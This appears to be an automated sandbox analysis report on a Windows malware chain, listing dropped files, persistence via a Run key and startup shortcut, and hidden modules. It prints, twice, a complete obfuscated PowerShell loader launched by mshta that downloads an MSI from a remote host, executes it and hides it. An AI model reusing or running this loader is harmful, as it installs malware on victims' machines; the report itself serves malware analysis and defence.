Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: mphkhj.16.dr	LNK file: ..\..\Roaming\toolsync_RO\IDRBackup.exe
Source: BIT74E7.tmp.21.dr	LNK file: ..\..\Roaming\toolsync_RO\IDRBackup.exe

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File opened: C:\Windows\SysWOW64\msftedit.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ntdll.pdb source: comvalidate_ljv3.exe, 00000021.00000002.2907516864.000000000699F000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903071583.0000000003B93000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906086649.000000000559A000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906725492.0000000005D9F000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906588575.0000000005B94000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2907648978.0000000006B94000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903563916.0000000003F96000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905084830.0000000004999000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2902750892.0000000003996000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906444105.0000000005995000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905755247.000000000519B000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903348967.0000000003D9B000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2907126656.000000000639C000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905587502.0000000004F92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: IDRBackup.exe, 0000000A.00000002.2285175464.0000000003E3B000.00000004.00000800.00020000.00000000.sdmp, IDRBackup.exe, 0000000A.00000002.2255295545.0000000003AD4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824482193.0000000005550000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2823785532.0000000004C83000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2571886494.0000000005150000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2557509478.000000000487F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2681446468.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2672832626.00000000052F2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2900638243.0000000005126000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2902399682.00000000059F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: comvalidate_ljv3.exe, 00000021.00000002.2907516864.000000000699F000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903071583.0000000003B93000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906086649.000000000559A000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906725492.0000000005D9F000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906588575.0000000005B94000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2907648978.0000000006B94000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903563916.0000000003F96000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905084830.0000000004999000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2902750892.0000000003996000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906444105.0000000005995000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905755247.000000000519B000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903348967.0000000003D9B000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2907126656.000000000639C000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905587502.0000000004F92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: IDRBackup.exe, 0000000A.00000002.2285175464.0000000003E3B000.00000004.00000800.00020000.00000000.sdmp, IDRBackup.exe, 0000000A.00000002.2255295545.0000000003AD4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824482193.0000000005550000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2823785532.0000000004C83000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2571886494.0000000005150000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2557509478.000000000487F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2681446468.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2672832626.00000000052F2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2900638243.0000000005126000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2902399682.00000000059F0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;			Jump to behavior

Source: datastate.dll.5.dr	Static PE information: real checksum: 0x1ac96 should be: 0x1d6c3
Source: datastate.dll.6.dr	Static PE information: real checksum: 0x1ac96 should be: 0x1d6c3
Source: jwhchx.16.dr	Static PE information: real checksum: 0x280dfb should be: 0x278f67

Source: sqlite3.dll.5.dr	Static PE information: section name: /4
Source: sqlite3.dll.5.dr	Static PE information: section name: /19
Source: sqlite3.dll.5.dr	Static PE information: section name: /31
Source: sqlite3.dll.5.dr	Static PE information: section name: /45
Source: sqlite3.dll.5.dr	Static PE information: section name: /57
Source: sqlite3.dll.5.dr	Static PE information: section name: /70
Source: sqlite3.dll.5.dr	Static PE information: section name: /81
Source: sqlite3.dll.5.dr	Static PE information: section name: /92
Source: sqlite3.dll.6.dr	Static PE information: section name: /4
Source: sqlite3.dll.6.dr	Static PE information: section name: /19
Source: sqlite3.dll.6.dr	Static PE information: section name: /31
Source: sqlite3.dll.6.dr	Static PE information: section name: /45
Source: sqlite3.dll.6.dr	Static PE information: section name: /57
Source: sqlite3.dll.6.dr	Static PE information: section name: /70
Source: sqlite3.dll.6.dr	Static PE information: section name: /81
Source: sqlite3.dll.6.dr	Static PE information: section name: /92
Source: comvalidate_ljv3.exe.16.dr	Static PE information: section name: Shared
Source: jwhchx.16.dr	Static PE information: section name: .xdata
Source: jwhchx.16.dr	Static PE information: section name: cvgr

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04C67563 pushad ; ret	1_2_04C67571
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57001EF4 push 57001F20h; ret	6_2_57001F18
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570194C6 push 5701951Bh; ret	6_2_57019513
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570194C8 push 5701951Bh; ret	6_2_57019513
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701FAAC push 5701FAD8h; ret	6_2_5701FAD0
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701EAFA push 5701EB28h; ret	6_2_5701EB20
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701EAFC push 5701EB28h; ret	6_2_5701EB20
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57001908 push 5700194Ah; ret	6_2_57001942
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5702201E push 5702204Ch; ret	6_2_57022044
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57022020 push 5702204Ch; ret	6_2_57022044
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_61EBA329 pushfd ; retf 0004h	6_2_61EBA32A
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_61EB82A8 push ds; retf	6_2_61EB82AE
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_50012004 push 50012030h; ret	10_2_50012028
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_5002F834 push 5002F860h; ret	10_2_5002F858
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_5000D840 push 5000D8A5h; ret	10_2_5000D89D
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_5002E9E8 push 5002EB8Ch; ret	10_2_5002EB84
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_5001AB98 push ecx; mov dword ptr [esp], ecx	10_2_5001AB9D
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_500153A4 push 500153D0h; ret	10_2_500153C8
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_5000ED00 push 5000ED42h; ret	10_2_5000ED3A
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_50016D30 push 50016D5Ch; ret	10_2_50016D54
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_5000F5CC push 5000F5F8h; ret	10_2_5000F5F0
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_5000E5D4 push 5000E600h; ret	10_2_5000E5F8
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_5000DF54 push 5000DF80h; ret	10_2_5000DF78
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_50016F68 push 50016F94h; ret	10_2_50016F8C

Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\datastate.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\sqlite3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\jwhchx	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\vclx120.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\madbasic_.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\madexcept_.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\vclx120.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\vcl120.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\datastate.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\madexcept_.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\madbasic_.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\rtl120.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\maddisAsm_.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\maddisAsm_.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\vcl120.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\rtl120.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\sqlite3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\madbasic_.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\maddisAsm_.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\madexcept_.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\rtl120.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\vcl120.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Aplanogamete\vclx120.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\madbasic_.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\maddisAsm_.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\madexcept_.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\rtl120.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\vcl120.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	File created: C:\Users\user\AppData\Roaming\toolsync_RO\vclx120.bpl	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\jwhchx	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT74E7.tmp

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT74E7.tmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run iJOtPBQ			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run iJOtPBQ			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\JWHCHX

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
